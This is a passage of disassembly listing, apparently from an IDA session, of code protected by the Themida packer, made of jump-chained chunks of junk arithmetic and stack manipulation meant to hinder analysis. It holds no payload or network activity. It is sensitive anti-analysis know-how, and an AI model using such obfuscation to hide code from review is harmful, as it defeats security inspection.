loc_5611FC:				; CODE XREF: sub_56207C+F93Fj
		pop	ebx
		xor	dl, 0B9h
		push	eax
		mov	al, dl
		mov	bh, al
		pop	eax
		pop	edx
		xor	bh, 0A4h
		jmp	loc_56AF4C
; ---------------------------------------------------------------------------


loc_56120F:				; CODE XREF: sub_56207C+B92Fj
		pop	ebp
		jmp	loc_565FAB
; ---------------------------------------------------------------------------


loc_561215:				; CODE XREF: sub_56207C+A0D1j
		mov	eax, 0
		sub	eax, edi
		mov	edi, eax
		pop	eax
		jmp	loc_56D58D
; ---------------------------------------------------------------------------


loc_561224:				; CODE XREF: sub_56207C+C111j
		sub	ecx, 58ED55E8h
		mov	edi, ecx
		pop	ecx
		sub	esi, 3A995244h
		sub	esi, edi
		add	esi, 3A995244h
		pop	edi
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], ebx
		push	[esp+0Ch+var_C]
		jmp	loc_571614
; ---------------------------------------------------------------------------


loc_56124D:				; CODE XREF: sub_56207C+2C3Dj
		mov	edi, [esp+10h+var_10]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56C804
; ---------------------------------------------------------------------------


loc_56125E:				; CODE XREF: sub_56207C+DE6Aj
		push	[esp+14h+var_10]
		pop	ecx
		pop	[esp+14h+var_14]
		pop	esp
		mov	[esp+0Ch+var_C], edx
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		jmp	loc_56A58D
; ---------------------------------------------------------------------------


loc_561278:				; CODE XREF: sub_56207C+2C4Dj
		add	ebp, 4
		xchg	ebp, [esp+10h+var_10]
		pop	esp
		push	edi
		mov	edi, 1D2D34D7h
		xor	edi, 63FE7C12h
		not	edi
		sub	edi, 812CB736h
		jmp	loc_5666CC
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_561298	proc near		; DATA XREF: Themida_:0055E28Co
		mov	eax, [esp+0]
		jmp	loc_570183
sub_561298	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_5612A0:				; CODE XREF: sub_56207C+1F2Aj
		pop	esp
		mov	[esp+0Ch+var_C], ecx
		push	esi
		mov	esi, 4
		jmp	loc_569C1F
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_5612AF	proc near		; DATA XREF: Themida_:0055E328o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	dword ptr [edi+3Ch]
		push	59FFh
		mov	[esp+8+var_8], edi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ecx
		jmp	loc_5671FD
sub_5612AF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_5612D3:				; CODE XREF: sub_56207C+1146Dj
		shr	esi, 6
		xor	esi, 220442B3h
		sub	edx, 6B602CA1h
		jmp	loc_56A4B3
; ---------------------------------------------------------------------------


loc_5612E7:				; CODE XREF: sub_56207C+D664j
		shr	ecx, 4
		not	ecx
		xor	ecx, 0A680B74Dh
		jmp	loc_565B9A
; ---------------------------------------------------------------------------


loc_5612F7:				; CODE XREF: sub_56207C+CD9j
		sub	[esp+10h+var_10], 548C6E65h
		pop	eax
		jmp	loc_572CCC
; ---------------------------------------------------------------------------


loc_561304:				; CODE XREF: sub_56207C+3E6Fj
		xchg	ecx, esi
		push	eax
		mov	eax, 749C5EE5h
		or	esi, eax
		pop	eax
		or	esi, 2B5F58C9h
		jmp	loc_56ABA3
; ---------------------------------------------------------------------------


loc_56131A:				; CODE XREF: sub_56207C+EB79j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56131F:				; CODE XREF: sub_56207C+FE5j
		push	[esp+0Ch+var_C]
		mov	ebx, [esp+10h+var_10]
		push	ecx
		mov	ecx, esp
		jmp	loc_568DE3
; ---------------------------------------------------------------------------


loc_56132D:				; CODE XREF: sub_56207C+A8A9j
		push	eax
		sub	[esp+18h+var_18], 28D50488h
		pop	ebp
		add	ebp, 28D50488h
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_565D2C
; ---------------------------------------------------------------------------


loc_561350:				; CODE XREF: sub_56207C-3A77j
		mov	eax, 58337DA6h
		mov	edi, eax
		pop	eax
		add	edi, 0A7CC825Ch
		sub	ebx, 59AF353Fh
		add	ebx, edi
		jmp	loc_571BA8
; ---------------------------------------------------------------------------


loc_56136B:				; CODE XREF: sub_56207C+7F70j
		push	[esp+18h+var_14]
		jmp	loc_561DAC
; ---------------------------------------------------------------------------


loc_561374:				; CODE XREF: sub_56207C+B652j
		pop	esp
		mov	[esp+18h+var_18], eax
		jmp	loc_56B5A2
; ---------------------------------------------------------------------------


loc_56137D:				; CODE XREF: sub_56207C+10DFDj
		xchg	ecx, ebp
		xchg	eax, ecx
		not	eax
		xchg	eax, ecx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebp
		push	7583h
		mov	[esp+20h+var_20], ecx
		pop	ebp
		jmp	loc_56343E
; ---------------------------------------------------------------------------


loc_56139A:				; CODE XREF: sub_56207C+E583j
		pop	ecx
		add	esp, 4
		add	eax, edx
		mov	edx, [esp+14h+var_14]
		push	eax
		mov	eax, esp
		push	edi
		push	ebp
		push	ebx
		jmp	loc_56518E
; ---------------------------------------------------------------------------


loc_5613B1:				; CODE XREF: sub_56207C+35A1j
		and	ebp, edx
		pop	edx
		push	eax
		jmp	loc_572138
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_5613BA	proc near		; CODE XREF: sub_56207C+ABAEj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_56B1E3
sub_5613BA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_5613C8:				; CODE XREF: sub_56207C+E186j
		neg	ebx
		xor	ebx, 1872392Ch
		mov	edx, ebx
		pop	ebx
		shr	edx, 3
		and	edx, 1A183AFFh
		inc	edx
		neg	edx
		sub	edx, 9C57D36Bh
		sub	esi, edx
		mov	edx, [esp+20h+var_20]
		jmp	loc_56742C
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_5613EF	proc near		; DATA XREF: Themida_:0055E174o
		neg	dword ptr [esp+0]
		pushf
		jmp	loc_570E4F
sub_5613EF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_5613F8:				; CODE XREF: sub_56207C-1549j
		add	ecx, 49DDF5ECh
		sub	ebx, ecx
		jmp	loc_56E769
; ---------------------------------------------------------------------------


loc_561405:				; CODE XREF: sub_56207C+3807j
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5683B0
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F2AC


loc_561410:				; CODE XREF: sub_55F2AC+13j
		mov	[esp+4+var_4], edx
		push	esp
		pop	edx
		jmp	loc_561E46
; END OF FUNCTION CHUNK	FOR sub_55F2AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_56141A:				; CODE XREF: sub_56207C+3213j
		mov	ecx, 7F253829h
		sub	ecx, 339C76Dh
		push	ecx
		pop	ebp
		pop	ecx
		jmp	loc_572AF1
; ---------------------------------------------------------------------------


loc_56142D:				; CODE XREF: sub_56207C+91E0j
		mov	edi, [esp+0Ch+var_C]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		jmp	loc_569A95
; ---------------------------------------------------------------------------


loc_561445:				; CODE XREF: sub_56207C+7923j
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		jmp	loc_570D25
; ---------------------------------------------------------------------------


loc_56145A:				; CODE XREF: sub_56207C+35F0j
		sub	bl, 78h
		add	bl, al
		add	bl, 78h
		push	eax
		mov	ah, 1Fh
		add	ah, 0A5h
		sub	bl, ah
		pop	eax
		push	ecx
		mov	cl, 8Ch
		sub	esp, 2
		mov	word ptr [esp+1Ch+var_1C], bx
		mov	bl, 97h
		or	cl, bl
		pop	bx
		not	cl
		push	ebx
		mov	bh, 67h
		jmp	loc_56CCF2
; ---------------------------------------------------------------------------


loc_561488:				; CODE XREF: sub_56207C-4E9j
		shl	edi, 3
		jmp	loc_55FB63
; ---------------------------------------------------------------------------


loc_561490:				; CODE XREF: sub_56207C+8B7Cj
		push	5BA01095h
		pop	edx
		inc	edx
		shr	edx, 2
		inc	edx
		dec	edx
		xor	edx, 16E80427h
		jmp	loc_570041
; ---------------------------------------------------------------------------


loc_5614A7:				; CODE XREF: sub_56207C+B431j
		add	bl, cl
		pop	cx
		jmp	loc_563610
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_5614B0	proc near		; CODE XREF: sub_56207C+B2D5j

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	1786h
		mov	[esp+4+var_4], esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_56BBAB
sub_5614B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_5614CE:				; CODE XREF: sub_56207C+A323j
		mov	[esp+1Ch+var_1C], ebp
		jmp	loc_5654DC
; ---------------------------------------------------------------------------


loc_5614D6:				; CODE XREF: sub_56207C+42CEj
		add	ebp, edx
		jmp	loc_568217
; ---------------------------------------------------------------------------


loc_5614DD:				; CODE XREF: sub_56207C+C64Cj
		mov	al, 0FFh
		sub	dl, al
		pop	eax
		xor	dl, 0A1h
		xor	al, dl
		pop	edx
		push	1030h
		mov	[esp+18h+var_18], eax
		mov	al, 0E0h
		shr	al, 3
		jmp	loc_565658
; ---------------------------------------------------------------------------


loc_5614FA:				; CODE XREF: sub_56207C+41DCj
		pop	ebx
		push	1B35h
		mov	[esp+18h+var_18], ecx
		mov	ecx, 0
		add	ecx, edx
		mov	[ecx], al
		pop	ecx
		pop	edx
		pop	ebx
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_561514:				; CODE XREF: sub_56207C+111C5j
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		push	[esp+8+var_8]
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		push	esp
		jmp	loc_56BB09
; ---------------------------------------------------------------------------


loc_561528:				; CODE XREF: sub_56207C+FF14j
		sub	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		pop	ecx
		jmp	loc_56C62C
; ---------------------------------------------------------------------------


loc_561534:				; CODE XREF: sub_56207C+991Bj
		mov	[esp+4+var_4], ecx
		mov	ecx, 0CEAA4098h
		xor	eax, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		add	ebp, eax
		mov	eax, [esp+0]
		jmp	loc_56B165
; ---------------------------------------------------------------------------


loc_56154E:				; CODE XREF: sub_56207C+2BEBj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_561553:				; CODE XREF: sub_56207C+7F1Dj
		mov	ebp, 8FB7FBFh
		jmp	loc_564BB7
; ---------------------------------------------------------------------------


loc_56155D:				; CODE XREF: sub_56207C+101EBj
		add	cl, 96h
		jmp	loc_5609D3
; ---------------------------------------------------------------------------


loc_561565:				; CODE XREF: sub_56207C-3762j
		shr	eax, 3
		xor	eax, 56E221Ch
		add	esi, eax
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ecx
		mov	ecx, esp
		jmp	loc_570D44
; ---------------------------------------------------------------------------


loc_56159C:				; CODE XREF: sub_56207C+8239j
		and	ebp, 3D2631EDh
		sub	ebp, 1D063184h
		add	esi, ebp
		jmp	loc_560AF2
; ---------------------------------------------------------------------------


loc_5615AF:				; CODE XREF: sub_56207C+8B9Cj
		sub	ebp, 635174D6h
		sub	ebp, 925329AFh
		add	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 148C7024h
		jmp	loc_55EF0B
; ---------------------------------------------------------------------------


loc_5615C9:				; CODE XREF: sub_56207C+2346j
		shl	eax, cl
		push	eax
		push	4E19h
		jmp	loc_5610E4
; ---------------------------------------------------------------------------


loc_5615D6:				; CODE XREF: sub_56207C+1D05j
		xor	ecx, ebx
		pop	ebx
		jmp	loc_569E5A
; ---------------------------------------------------------------------------


loc_5615DE:				; CODE XREF: sub_56207C+AC33j
		mov	[esp+0Ch+var_C], edx
		mov	edx, 1
		and	eax, edx
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		jmp	loc_570067
; ---------------------------------------------------------------------------


loc_5615F3:				; CODE XREF: sub_56207C+538Bj
		mov	bh, cl
		pop	ecx
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		sub	cl, 0C4h
		add	cl, 28h
		jmp	loc_56B60E
; ---------------------------------------------------------------------------


loc_56160A:				; CODE XREF: sub_56207C+BB01j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_568F19
; ---------------------------------------------------------------------------


loc_56161A:				; CODE XREF: sub_56207C+1D18j
		push	edi
		jmp	loc_56EE25
; ---------------------------------------------------------------------------


loc_561620:				; CODE XREF: sub_56207C-308j
		add	esi, ebx
		pop	ebx
		jmp	loc_566746
; ---------------------------------------------------------------------------


loc_561628:				; CODE XREF: sub_56207C+6F10j
		xor	ebp, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebp
		xor	ebp, [esp+0Ch+var_C]
		jmp	loc_5637C4
; ---------------------------------------------------------------------------


loc_561636:				; CODE XREF: sub_56207C+AB23j
		pop	edx
		jmp	loc_5675E4
; ---------------------------------------------------------------------------


loc_56163C:				; CODE XREF: sub_56207C-FABj
		push	edi
		mov	edi, esp
		push	1B02h
		mov	[esp+40h+var_40], ebp
		mov	ebp, 4
		add	edi, 3EE149E3h
		add	edi, ebp
		jmp	loc_561ECB
; ---------------------------------------------------------------------------


loc_561659:				; CODE XREF: sub_56207C+931Dj
		mov	ebx, 1D2F06D4h
		shl	ebx, 3
		shr	ebx, 4
		jmp	loc_56E6CD
; ---------------------------------------------------------------------------


loc_561669:				; CODE XREF: sub_56207C+5DD7j
		mov	eax, 57714774h
		add	eax, 63495CCDh
		shr	eax, 4
		jmp	loc_5647C1
; ---------------------------------------------------------------------------


loc_56167B:				; CODE XREF: sub_56207C+634Fj
		neg	eax
		sub	eax, 3FF266D6h
		add	ebp, eax
		jmp	loc_560854
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_561689:				; DATA XREF: Themida_:0055E258o
		mov	ax, [esp]
		jmp	loc_56A0A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_561692:				; CODE XREF: sub_56207C+11081j
		mov	[esp+40h+var_40], ebx
		mov	ebx, 4
		sub	edx, ebx
		jmp	loc_56A53B
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_5616A1	proc near		; DATA XREF: Themida_:0055E2A4o

var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	eax
		jmp	loc_57084D
sub_5616A1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_5616AD:				; CODE XREF: sub_56207C+E1EFj
		add	esi, 4FE314D9h
		jmp	loc_56D9B0
; ---------------------------------------------------------------------------


loc_5616B8:				; CODE XREF: sub_56207C+1DA5j
		shl	byte ptr [esp+40h+var_40], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5616C1:				; CODE XREF: sub_56207C+EAC8j
		mov	ebx, 0C103E18h
		sub	ebx, 0F04121E6h
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 0F122002Bh
		mov	esi, ebp
		pop	ebp
		add	esi, 39E80212h
		shr	esi, 4
		sub	esi, 37EF72CBh
		or	esi, 49FB20D8h
		inc	esi
		sub	esi, 0CFFBFFDBh
		sub	ecx, esi
		jmp	loc_56DB24
; ---------------------------------------------------------------------------


loc_5616FB:				; CODE XREF: sub_56207C+B019j
		push	2060h
		mov	[esp+40h+var_40], esp
		add	[esp+40h+var_40], 4
		pop	ebx
		jmp	loc_56DFC3
; ---------------------------------------------------------------------------


loc_561710:				; CODE XREF: sub_56207C+E630j
		pop	eax
		jmp	loc_56FA5B
; ---------------------------------------------------------------------------


loc_561716:				; CODE XREF: sub_56207C+3269j
		sub	si, 0EEDh
		add	si, 2D33h
		jmp	loc_564114
; ---------------------------------------------------------------------------


loc_561725:				; CODE XREF: sub_56207C+AEFFj
		pop	esp
		mov	[esp+34h+var_34], ecx
		mov	ch, 2
		jmp	loc_570CCF
; ---------------------------------------------------------------------------


loc_561730:				; CODE XREF: sub_56207C+AA87j
		sub	[esp+34h+var_30], 2E8A7C5Bh
		add	[esp+34h+var_30], ebx
		push	esi
		push	edx
		jmp	loc_564688
; ---------------------------------------------------------------------------


loc_561743:				; CODE XREF: sub_56207C+FA22j
		add	eax, edi
		pop	edi
		jmp	loc_55EF64
; ---------------------------------------------------------------------------


loc_56174B:				; CODE XREF: sub_56207C+9E0Cj
		add	[esp+38h+var_38], 4
		mov	esi, [esp+38h+var_38]
		add	esp, 4
		add	esi, 4
		push	ebx
		push	697Bh
		mov	[esp+3Ch+var_3C], esi
		jmp	loc_568376
; ---------------------------------------------------------------------------


loc_56176F:				; CODE XREF: sub_56207C-30FDj
		mov	eax, esp
		jmp	loc_56CE6E
; ---------------------------------------------------------------------------


loc_561776:				; CODE XREF: sub_56207C+AB08j
		dec	ebp
		not	ebp
		push	esi
		jmp	loc_565EE2
; ---------------------------------------------------------------------------


loc_56177F:				; CODE XREF: sub_56207C+7C43j
		pop	dx
		not	dh
		jmp	loc_56BECA
; ---------------------------------------------------------------------------


loc_561788:				; CODE XREF: sub_56207C+A85Ej
		sub	ah, 44h
		sub	esp, 4
		mov	[esp+32h+var_34+2], edx
		mov	dl, ah
		mov	cl, dl
		mov	edx, [esp+32h+var_34+2]
		jmp	loc_56B8FA
; ---------------------------------------------------------------------------


loc_5617A0:				; CODE XREF: sub_56207C+10781j
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_5734CE
; ---------------------------------------------------------------------------


loc_5617AD:				; CODE XREF: sub_56207C+1A3Fj
		pop	eax
		jmp	loc_566785
; ---------------------------------------------------------------------------


loc_5617B3:				; CODE XREF: sub_56207C-10E2j
		mov	[esp+34h+var_34], ecx
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5617BB:				; CODE XREF: sub_56207C+112ACj
		push	small 3E92h
		mov	word ptr [esp+36h+var_38+2], dx
		push	eax
		mov	ah, 48h
		jmp	loc_564253
; ---------------------------------------------------------------------------


loc_5617CB:				; CODE XREF: sub_56207C+483j
		push	5719h
		jmp	loc_56584F
; ---------------------------------------------------------------------------


loc_5617D5:				; CODE XREF: sub_56207C+A8DAj
		xchg	esi, [esp+3Eh+var_40+2]
		mov	esp, [esp+3Eh+var_40+2]
		xchg	edi, [esp+3Eh+var_40+2]
		pop	esp
		idiv	cx
		push	edi
		jmp	loc_55FBA7
; ---------------------------------------------------------------------------


loc_5617E8:				; CODE XREF: sub_56207C+8CDCj
		mov	ebp, [esp+3Eh+var_40+2]
		push	edx
		push	esp
		pop	edx
		push	edi
		jmp	loc_569735
; ---------------------------------------------------------------------------


loc_5617F4:				; CODE XREF: sub_56207C-1F08j
		push	esi
		push	1Ch
		jmp	loc_56AAD3
; ---------------------------------------------------------------------------


loc_5617FF:				; CODE XREF: sub_56207C+BC78j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5717EE
; ---------------------------------------------------------------------------


loc_56180B:				; CODE XREF: sub_56207C+65F8j
		add	ebx, eax
		jmp	loc_55FCD7
; ---------------------------------------------------------------------------


loc_561812:				; CODE XREF: sub_56207C+99A4j
		neg	edx
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		add	edx, 0FFFFFFFFh
		xor	edx, 983DA3F0h
		xor	ecx, edx
		pop	edx
		and	ecx, 2F707F70h
		add	ecx, 0D8A7FFB0h
		push	ebp
		push	ecx
		mov	ebp, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	1788h
		mov	[esp+2Ah+var_2C+2], ebx
		mov	ebx, ebp
		jmp	loc_56EB31
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_55E9DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_56184F:				; CODE XREF: sub_56207C+10D86j
		mov	ecx, esi
		pop	esi
		not	ecx
		neg	ecx
		inc	ecx
		add	ecx, 1FF8F625h
		mov	edx, ecx
		pop	ecx
		push	ebp
		jmp	loc_56DD79
; ---------------------------------------------------------------------------


loc_561866:				; CODE XREF: sub_56207C+F92Dj
		shr	eax, 4
		jmp	loc_5640A3
; ---------------------------------------------------------------------------


loc_56186E:				; CODE XREF: sub_56207C+1B16j
		mov	dx, word ptr [esp+26h+var_28+2]
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], esi
		jmp	loc_56A7F4
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_56187D:				; DATA XREF: Themida_:0055E2BCo
		mov	eax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_56EF9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_561893:				; CODE XREF: sub_56207C+4F60j
		neg	ebx
		xor	ebx, 711A3E12h
		push	eax
		mov	eax, 5A313952h
		sub	eax, 39D53964h
		jmp	loc_56ED01
; ---------------------------------------------------------------------------


loc_5618AB:				; CODE XREF: sub_56207C+102F0j
		push	3A83h
		mov	[esp+32h+var_34+2], eax
		mov	eax, esp
		jmp	loc_56C19E
; ---------------------------------------------------------------------------


loc_5618BA:				; CODE XREF: sub_56207C-307Cj
		add	ecx, 0EFBA8292h
		add	edi, ecx
		jmp	loc_5647F5
; ---------------------------------------------------------------------------


loc_5618C7:				; CODE XREF: sub_56207C-2918j
		pop	edi
		sub	eax, 4
		push	eax
		push	[esp+20h+var_1C]
		pop	eax
		jmp	loc_56B6D4
; ---------------------------------------------------------------------------


loc_5618D6:				; CODE XREF: sub_56207C+C3Fj
		pop	esp
		sub	ebx, ecx
		jmp	loc_56B960
; ---------------------------------------------------------------------------


loc_5618DE:				; CODE XREF: sub_56207C+C831j
		pop	ecx
		jmp	loc_56CE29
; ---------------------------------------------------------------------------


loc_5618E4:				; CODE XREF: sub_56207C+4992j
		push	27DE46C4h
		pop	edi
		sub	edi, 20EE3868h
		and	edi, 240371Ch
		sub	edi, 2400618h
		add	edx, edi
		pop	edi
		push	edx
		push	esp
		jmp	loc_55FD54
; ---------------------------------------------------------------------------


loc_561906:				; CODE XREF: sub_56207C+101Dj
		pop	eax
		shl	ebx, 1
		sub	ebx, 0ED11E494h
		add	edi, ebx
		pop	ebx
		add	eax, edi
		push	[esp+14h+var_14]
		pop	edi
		add	esp, 4
		push	edx
		jmp	loc_56A49C
; ---------------------------------------------------------------------------


loc_561924:				; CODE XREF: sub_56207C+DB90j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_569367
; ---------------------------------------------------------------------------


loc_561936:				; CODE XREF: sub_56207C+2ACDj
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		add	[esp+14h+var_14], eax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_561945:				; CODE XREF: sub_56207C+10266j
		mov	esi, 4B2F6E01h
		sub	esi, 2DE45E44h
		neg	esi
		jmp	loc_567214
; ---------------------------------------------------------------------------


loc_561957:				; CODE XREF: sub_56207C+536Aj
		push	[esp+18h+var_18]
		pop	edx
		jmp	loc_56843F
; ---------------------------------------------------------------------------


loc_561960:				; CODE XREF: sub_56207C-F80j
		push	[esp+34h+var_34]
		mov	edx, [esp+38h+var_38]
		add	esp, 4
		push	eax
		jmp	loc_56A0E0
; ---------------------------------------------------------------------------


loc_561972:				; CODE XREF: sub_56207C-3415j
		xor	edi, [esp+1Eh+var_20+2]
		jmp	loc_567183
; ---------------------------------------------------------------------------


loc_56197A:				; CODE XREF: sub_56207C+B6A6j
		push	eax
		mov	ah, bl
		mov	dh, ah
		pop	eax
		pop	ebx
		xor	al, dh
		push	[esp+1Ah+var_1C+2]
		pop	edx
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ebx
		jmp	loc_56CEEB
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_561992:				; DATA XREF: Themida_:0055E338o
		lodsb
		xor	al, bl
		push	ebx
		jmp	loc_56E4A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_56199B:				; CODE XREF: sub_56207C+475Fj
		pop	esp
		push	750Eh
		mov	[esp+1Eh+var_20+2], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_572E44
; ---------------------------------------------------------------------------


loc_5619B1:				; CODE XREF: sub_56207C+D5B4j
		push	155Dh
		mov	[esp+22h+var_24+2], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+22h+var_24+2]
		pop	esp
		push	esp
		pop	[esp+22h+var_24+2]
		add	[esp+1Eh+var_20+2], 4
		jmp	loc_563396
; ---------------------------------------------------------------------------


loc_5619DB:				; CODE XREF: sub_56207C+DE05j
		sub	eax, 4EC6299Bh
		push	73CEh
		jmp	loc_55F103
; ---------------------------------------------------------------------------


loc_5619EA:				; CODE XREF: sub_56207C+ED1Bj
		pop	esi
		add	esp, 4
		push	edi
		mov	edi, 2
		jmp	loc_5622BA
; ---------------------------------------------------------------------------


loc_5619FC:				; CODE XREF: sub_56207C+601Ej
		mov	edx, [esp+1Eh+var_20+2]
		jmp	loc_56EF45
; ---------------------------------------------------------------------------


loc_561A04:				; CODE XREF: sub_56207C+6D3Bj
		mov	bx, 7718h
		jmp	loc_56F56C
; ---------------------------------------------------------------------------


loc_561A0D:				; CODE XREF: sub_56207C+5E7Bj
		mov	edx, 5006C2h
		jmp	loc_5661D1
; ---------------------------------------------------------------------------


loc_561A17:				; CODE XREF: sub_56207C+518Dj
		push	[esp+1Eh+var_1C+2]
		jmp	loc_567C25
; ---------------------------------------------------------------------------


loc_561A20:				; CODE XREF: sub_56207C+66F6j
		not	edx
		not	edx
		push	3083h
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 0C834BDEEh
		xor	edx, ebp
		pop	ebp
		push	73FFh
		mov	[esp+26h+var_28+2], ebx
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ecx
		push	4BDAh
		jmp	loc_565207
; ---------------------------------------------------------------------------


loc_561A4F:				; CODE XREF: sub_56207C+632Fj
		mov	edi, [esp+2Eh+var_30+2]
		push	ecx
		mov	ecx, esp
		jmp	loc_56C3FC
; ---------------------------------------------------------------------------


loc_561A5A:				; CODE XREF: sub_56207C+1017Cj
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+2Eh+var_30+2]
		jmp	loc_5643E1
; ---------------------------------------------------------------------------


loc_561A6E:				; CODE XREF: sub_56207C+7A44j
		mov	ebx, 4
		add	[esp+2Eh+var_2C+2], ebx
		pop	ebx
		jmp	loc_570E38
; ---------------------------------------------------------------------------


loc_561A7D:				; CODE XREF: sub_56207C-1AEFj
		dec	ch
		shl	ch, 5
		shr	ch, 4
		xor	ch, 0FFh
		mov	ah, ch
		jmp	loc_56FB67
; ---------------------------------------------------------------------------


loc_561A8F:				; CODE XREF: sub_56207C+5C1Fj
		pop	edx
		xor	dl, bh
		pop	ebx
		jmp	loc_5673E1
; ---------------------------------------------------------------------------


loc_561A98:				; CODE XREF: sub_56207C+F281j
		pop	edx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esi
		push	edi
		jmp	loc_56E044
; ---------------------------------------------------------------------------


loc_561AA5:				; CODE XREF: sub_56207C+5AE5j
		add	esp, 4
		push	16EFh
		jmp	loc_56407B
; ---------------------------------------------------------------------------


loc_561AB5:				; CODE XREF: sub_56207C+11116j
		inc	esi
		jmp	loc_571F95
; ---------------------------------------------------------------------------


loc_561ABB:				; CODE XREF: sub_56207C-1F02j
		push	eax
		mov	eax, 8A6CFAB3h
		add	esi, eax
		jmp	loc_566C28
; ---------------------------------------------------------------------------


loc_561AC8:				; CODE XREF: sub_56207C+B22Aj
		add	eax, 4
		jmp	loc_56D942
; ---------------------------------------------------------------------------


loc_561AD0:				; CODE XREF: sub_56207C+44Ej
		xor	ecx, ebp
		jmp	loc_572421
; ---------------------------------------------------------------------------


loc_561AD7:				; CODE XREF: sub_56207C+4704j
		push	eax
		push	ebp
		push	eax
		jmp	loc_571426
; ---------------------------------------------------------------------------


loc_561ADF:				; CODE XREF: sub_56207C+4C55j
		pop	esp
		jmp	loc_5735FC
; ---------------------------------------------------------------------------


loc_561AE5:				; CODE XREF: sub_56207C+3EA1j
		mov	ebp, ecx
		jmp	loc_56AF2B
